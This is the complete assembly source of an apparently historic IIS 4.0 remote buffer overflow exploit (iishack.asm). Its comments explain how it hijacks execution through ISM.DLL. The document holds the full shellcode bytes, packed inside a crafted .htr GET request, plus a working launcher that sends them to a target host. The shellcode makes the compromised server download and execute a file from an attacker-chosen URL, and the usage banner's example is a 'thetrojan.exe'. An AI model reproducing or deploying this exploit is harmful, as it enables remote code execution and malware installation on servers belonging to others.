iishack.asm

`; IIS 4.0 remote overflow exploit.   
; (c) dark spyrit -- [email protected]  
;  
; greets & thanks to: neophyte/sacx/tree/everyone in #mulysa and  
; #beavuh... and all the other kiwi's except ceo.  
;  
; credits to acp for the console stuff..  
;  
; I don't want to go in too deeply on the process of exploiting buffer  
; overflows... there's various papers out there on this subject, instead I'll  
; give just a few specifics relating to this one..  
;  
; Microsoft was rather good to us on this occasion, stuffing our eip value  
; directly into a register then calling it.. no need to stuff valid addresses  
; to make our way through various routines to eventually return to our   
; address... but, unfortunately it wasn't all smooth sailing.   
; Various bytes and byte sequences I was forced to avoid, as you'll quickly  
; notice should you bother debugging this.. various push/pop pairs etc.  
; I don't bother with any cleanup when all is done, NT's exception handling  
; can cope with the mess :)  
;  
; The exploit works by redirecting the eip to the address of a loaded dll,   
; in this case ISM.DLL. Why?  
; Because its loaded in memory, is loaded at a high address which gets around  
; the null byte problem.. and is static on all service packs.  
; The code from ISM.DLL jumps to my code, which creates a jump table of  
; of functions we'll need, including the socket functions.. we do this   
; because unfortunately the dll's import tables don't include nearly enough  
; of the functions we need..  
;   
; The socket structure is created and filled at runtime, I had to do this  
; at runtime because of the bad byte problem.. after this a small buffer is  
; created, a get request issued to the web site of the file you want to   
; download.. file is then received/saved to disk/and executed..  
; Simple huh? no not really :)  
;  
; Have fun with this one... feel free to drop me an email with any comments.  
;  
; And finally, heh.. "caveat emptor".  
;  
;  
; you can grab the assembled exe at http://www.eEye.com.  
;  
; to assemble:  
;  
; tasm32 -ml iishack.asm  
; tlink32 -Tpe -c -x iishack.obj ,,, import32  
  
  
.386p  
locals  
jumps  
.model flat, stdcall  
  
  
extrn GetCommandLineA:PROC  
extrn GetStdHandle:PROC  
extrn WriteConsoleA:PROC  
extrn ExitProcess:PROC  
extrn WSAStartup:PROC  
extrn connect:PROC  
extrn send:PROC  
extrn recv:PROC  
extrn WSACleanup:PROC  
extrn gethostbyname:PROC  
extrn htons:PROC  
extrn socket:PROC  
extrn inet_addr:PROC  
extrn closesocket:PROC  
  
.data  
  
sploit_length equ 1157  
  
sploit:  
db "GET /"   
db 041h, 041h, 041h, 041h, 041h, 041h, 041h  
db 576 dup (041h)  
db 041h, 041h, 041h, 041h, 041h, 041h, 0b0h, 087h, 067h, 068h, 0b0h, 087h  
db 067h, 068h, 090h, 090h, 090h, 090h, 058h, 058h, 090h, 033h, 0c0h, 050h  
db 05bh, 053h, 059h, 08bh, 0deh, 066h, 0b8h, 021h, 002h, 003h, 0d8h, 032h  
db 0c0h, 0d7h, 02ch, 021h, 088h, 003h, 04bh, 03ch, 0deh, 075h, 0f4h, 043h  
db 043h, 0bah, 0d0h, 010h, 067h, 068h, 052h, 051h, 053h, 0ffh, 012h, 08bh  
db 0f0h, 08bh, 0f9h, 0fch, 059h, 0b1h, 006h, 090h, 05ah, 043h, 032h, 0c0h  
db 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h, 0f4h, 043h, 052h, 051h  
db 053h, 056h, 0b2h, 054h, 0ffh, 012h, 0abh, 059h, 05ah, 0e2h, 0e6h, 043h  
db 032h, 0c0h, 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h, 0f4h, 043h  
db 052h, 053h, 0ffh, 012h, 08bh, 0f0h, 05ah, 033h, 0c9h, 050h, 058h, 0b1h  
db 005h, 043h, 032h, 0c0h, 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h  
db 0f4h, 043h, 052h, 051h, 053h, 056h, 0b2h, 054h, 0ffh, 012h, 0abh, 059h  
db 05ah, 0e2h, 0e6h, 033h, 0c0h, 050h, 040h, 050h, 040h, 050h, 0ffh, 057h  
db 0f4h, 089h, 047h, 0cch, 033h, 0c0h, 050h, 050h, 0b0h, 002h, 066h, 0abh  
db 058h, 0b4h, 050h, 066h, 0abh, 058h, 0abh, 0abh, 0abh, 0b1h, 021h, 090h  
db 066h, 083h, 0c3h, 016h, 08bh, 0f3h, 043h, 032h, 0c0h, 0d7h, 03ah, 0c8h  
db 075h, 0f8h, 032h, 0c0h, 088h, 003h, 056h, 0ffh, 057h, 0ech, 090h, 066h  
db 083h, 0efh, 010h, 092h, 08bh, 052h, 00ch, 08bh, 012h, 08bh, 012h, 092h  
db 08bh, 0d7h, 089h, 042h, 004h, 052h, 06ah, 010h, 052h, 0ffh, 077h, 0cch  
db 0ffh, 057h, 0f8h, 05ah, 066h, 083h, 0eeh, 008h, 056h, 043h, 08bh, 0f3h  
db 0fch, 0ach, 084h, 0c0h, 075h, 0fbh, 041h, 04eh, 0c7h, 006h, 08dh, 08ah  
db 08dh, 08ah, 081h, 036h, 080h, 080h, 080h, 080h, 033h, 0c0h, 050h, 050h  
db 06ah, 048h, 053h, 0ffh, 077h, 0cch, 0ffh, 057h, 0f0h, 058h, 05bh, 08bh  
db 0d0h, 066h, 0b8h, 0ffh, 00fh, 050h, 052h, 050h, 052h, 0ffh, 057h, 0e8h  
db 08bh, 0f0h, 058h, 090h, 090h, 090h, 090h, 050h, 053h, 0ffh, 057h, 0d4h  
db 08bh, 0e8h, 033h, 0c0h, 05ah, 052h, 050h, 052h, 056h, 0ffh, 077h, 0cch  
db 0ffh, 057h, 0ech, 080h, 0fch, 0ffh, 074h, 00fh, 050h, 056h, 055h, 0ffh  
db 057h, 0d8h, 080h, 0fch, 0ffh, 074h, 004h, 085h, 0c0h, 075h, 0dfh, 055h  
db 0ffh, 057h, 0dch, 033h, 0c0h, 040h, 050h, 053h, 0ffh, 057h, 0e4h, 090h  
db 090h, 090h, 090h, 0ffh, 06ch, 066h, 073h, 06fh, 066h, 06dh, 054h, 053h  
db 021h, 080h, 08dh, 084h, 093h, 086h, 082h, 095h, 021h, 080h, 08dh, 098h  
db 093h, 08ah, 095h, 086h, 021h, 080h, 08dh, 084h, 08dh, 090h, 094h, 086h  
db 021h, 080h, 08dh, 090h, 091h, 086h, 08fh, 021h, 078h, 08ah, 08fh, 066h  
db 099h, 086h, 084h, 021h, 068h, 08dh, 090h, 083h, 082h, 08dh, 062h, 08dh  
db 08dh, 090h, 084h, 021h, 078h, 074h, 070h, 064h, 06ch, 054h, 053h, 021h  
db 093h, 086h, 084h, 097h, 021h, 094h, 086h, 08fh, 085h, 021h, 094h, 090h  
db 084h, 08ch, 086h, 095h, 021h, 084h, 090h, 08fh, 08fh, 086h, 084h, 095h  
db 021h, 088h, 086h, 095h, 089h, 090h, 094h, 095h, 083h, 09ah, 08fh, 082h  
db 08eh, 086h, 021h, 090h, 098h, 08fh, 04fh, 086h, 099h, 086h, 021h  
_url2 db 85 dup (021h)  
db ".htr HTTP/1.0"  
db 00dh,00ah, 00dh, 00ah   
  
logo db "------(IIS 4.0 remote buffer overflow exploit)---------------------------------", 13, 10  
db "(c) dark spyrit -- [email protected].",13,10  
db "http://www.eEye.com",13,10,13,10  
db "[usage: iishack <host> <port> <url>]", 13, 10  
db "eg - iishack www.example.com 80 www.myserver.com/thetrojan.exe",13,10  
db "do not include 'http://' before hosts!",13,10  
db "-------------------------------------------------------------------------------", 13, 10, 0  
logolen equ $-logo  
  
u_length db 10,"No more than 70 chars in 2nd url.",13,10,0  
u_lengthl equ $-u_length  
  
errorinit db 10,"Error initializing winsock.", 13, 10, 0  
errorinitl equ $-errorinit  
  
nohost db 10,"No host or IP specified.", 13,10,0  
nohostl equ $-nohost  
  
noport db 10,"No port specified.",13,10,0  
noportl equ $-noport  
  
no_url db 10,"No URL specified.",13,10,0  
no_urll equ $-no_url  
  
urlinv db 10,"Invalid URL.. no file specified?",13,10,0  
urlinvl equ $-urlinv  
  
reshost db 10,"Error resolving host.",13,10,0  
reshostl equ $-reshost  
  
sockerr db 10,"Error creating socket.",13,10,0  
sockerrl equ $-sockerr  
  
ipill db 10,"IP error.",13,10,0  
ipilll equ $-ipill  
  
porterr db 10,"Invalid port.",13,10,0  
porterrl equ $-porterr  
  
cnerror db 10,"Error establishing connection.",13,10,0  
cnerrorl equ $-cnerror  
  
success db 10,"Data sent!",13,10,0  
successl equ $-success  
  
console_in dd ?  
console_out dd ?  
bytes_read dd ?  
  
wsadescription_len equ 256  
wsasys_status_len equ 128  
  
WSAdata struct  
wVersion dw ?  
wHighVersion dw ?  
szDescription db wsadescription_len+1 dup (?)  
szSystemStatus db wsasys_status_len+1 dup (?)  
iMaxSockets dw ?  
iMaxUdpDg dw ?  
lpVendorInfo dw ?  
WSAdata ends  
  
sockaddr_in struct  
sin_family dw ?  
sin_port dw ?  
sin_addr dd ?  
sin_zero db 8 dup (0)  
sockaddr_in ends  
  
wsadata WSAdata <?>  
sin sockaddr_in <?>  
sock dd ?  
numbase dd 10  
_port db 256 dup (?)  
_host db 256 dup (?)  
_url db 256 dup (?)  
stuff db 042h, 068h, 066h, 075h, 041h, 050h  
  
.code  
start:  
  
call init_console  
push logolen  
push offset logo  
call write_console  
  
call GetCommandLineA  
mov edi, eax  
mov ecx, -1  
xor al, al  
push edi  
repnz scasb  
not ecx  
pop edi  
mov al, 20h  
repnz scasb  
dec ecx  
cmp ch, 0ffh  
jz @@0  
test ecx, ecx  
jnz @@1  
@@0:   
push nohostl  
push offset nohost  
call write_console  
jmp quit3  
@@1:  
mov esi, edi  
lea edi, _host  
call parse  
or ecx, ecx  
jnz @@2  
push noportl  
push offset noport  
call write_console  
jmp quit3  
@@2:  
lea edi, _port  
call parse  
or ecx, ecx  
jnz @@3  
push no_urll  
push offset no_url  
call write_console  
jmp quit3  
  
@@3:  
push ecx  
lea edi, _url  
call parse  
pop ecx  
cmp ecx, 71  
jb length_ok  
push u_lengthl  
push offset u_length  
call write_console  
jmp quit3  
  
length_ok:  
  
mov esi, offset _url  
mov edi, offset _url2  
@@10:  
xor al, al  
lodsb  
cmp al, 02fh  
jz whaq  
test al, al  
jz @@20  
add al, 021h  
stosb  
jmp @@10  
@@20:  
push urlinvl  
push offset urlinv  
call write_console  
jmp quit3  
  
  
whaq:  
push esi  
lea esi, stuff  
lodsw  
stosw  
lodsd  
stosd  
pop esi  
fileget:   
xor al, al  
lodsb  
test al, al  
jz getdone  
add al, 021h  
stosb  
jmp fileget  
getdone:  
  
push offset wsadata  
push 0101h  
call WSAStartup  
or eax, eax  
jz winsock_found  
  
push errorinitl  
push offset errorinit  
call write_console  
jmp quit3  
  
winsock_found:  
xor eax, eax  
push eax  
inc eax  
push eax  
inc eax  
push eax  
call socket  
cmp eax, -1  
jnz socket_ok  
  
push sockerrl  
push offset sockerr  
call write_console  
jmp quit2  
  
socket_ok:  
mov sock, eax  
mov sin.sin_family, 2  
mov esi, offset _port  
lewp1:  
xor al, al  
lodsb  
test al, al  
jz go  
cmp al, 039h  
ja port_error  
cmp al, 030h  
jb port_error  
jmp lewp1  
  
port_error:  
push porterrl  
push offset porterr  
call write_console  
jmp quit1  
  
go:  
  
mov ebx, offset _port  
call str2num  
mov eax, edx  
push eax  
call htons  
mov sin.sin_port, ax  
  
mov esi, offset _host  
lewp:  
xor al, al  
lodsb  
cmp al, 039h  
ja gethost  
test al, al  
jnz lewp  
push offset _host  
call inet_addr  
cmp eax, -1  
jnz ip_aight  
push ipilll  
push offset ipill  
call write_console  
jmp quit1  
  
ip_aight:  
mov sin.sin_addr, eax  
jmp continue  
  
gethost:  
push offset _host  
call gethostbyname  
test eax, eax  
jnz gothost  
  
push reshostl  
push offset reshost  
call write_console  
jmp quit1  
  
gothost:  
mov eax, [eax+0ch]  
mov eax, [eax]  
mov eax, [eax]  
mov sin.sin_addr, eax  
  
continue:  
push size sin  
push offset sin  
push sock  
call connect  
or eax, eax  
jz connect_ok  
push cnerrorl  
push offset cnerror  
call write_console  
jmp quit1  
  
connect_ok:  
  
xor eax, eax  
push eax  
push sploit_length  
push offset sploit  
push sock  
call send  
push successl  
push offset success  
call write_console  
  
quit1:  
push sock  
call closesocket  
quit2:  
call WSACleanup  
quit3:  
push 0  
call ExitProcess  
parse proc  
;cheap parsing.. hell.. its only an exploit.  
  
lewp9:  
xor eax, eax  
cld  
lodsb  
cmp al, 20h  
jz done  
test al, al  
jz done2  
stosb  
dec ecx  
jmp lewp9  
done:  
dec ecx  
done2:  
ret  
endp  
  
str2num proc  
push eax ecx edi  
xor eax, eax  
xor ecx, ecx  
xor edx, edx  
xor edi, edi  
lewp2:  
xor al, al  
xlat  
test al, al  
jz end_it  
sub al, 030h  
mov cl, al  
mov eax, edx  
mul numbase  
add eax, ecx  
mov edx, eax  
inc ebx  
inc edi  
cmp edi, 0ah  
jnz lewp2  
  
end_it:  
pop edi ecx eax  
ret  
endp  
  
init_console proc  
push -10  
call GetStdHandle  
or eax, eax  
je init_error  
mov [console_in], eax  
push -11  
call GetStdHandle  
or eax, eax  
je init_error  
mov [console_out], eax  
ret  
init_error:  
push 0  
call ExitProcess  
endp  
  
write_console proc text_out:dword, text_len:dword  
pusha  
push 0  
push offset bytes_read   
push text_len   
push text_out   
push console_out   
call WriteConsoleA  
popa  
ret  
endp  
  
end start  
  
`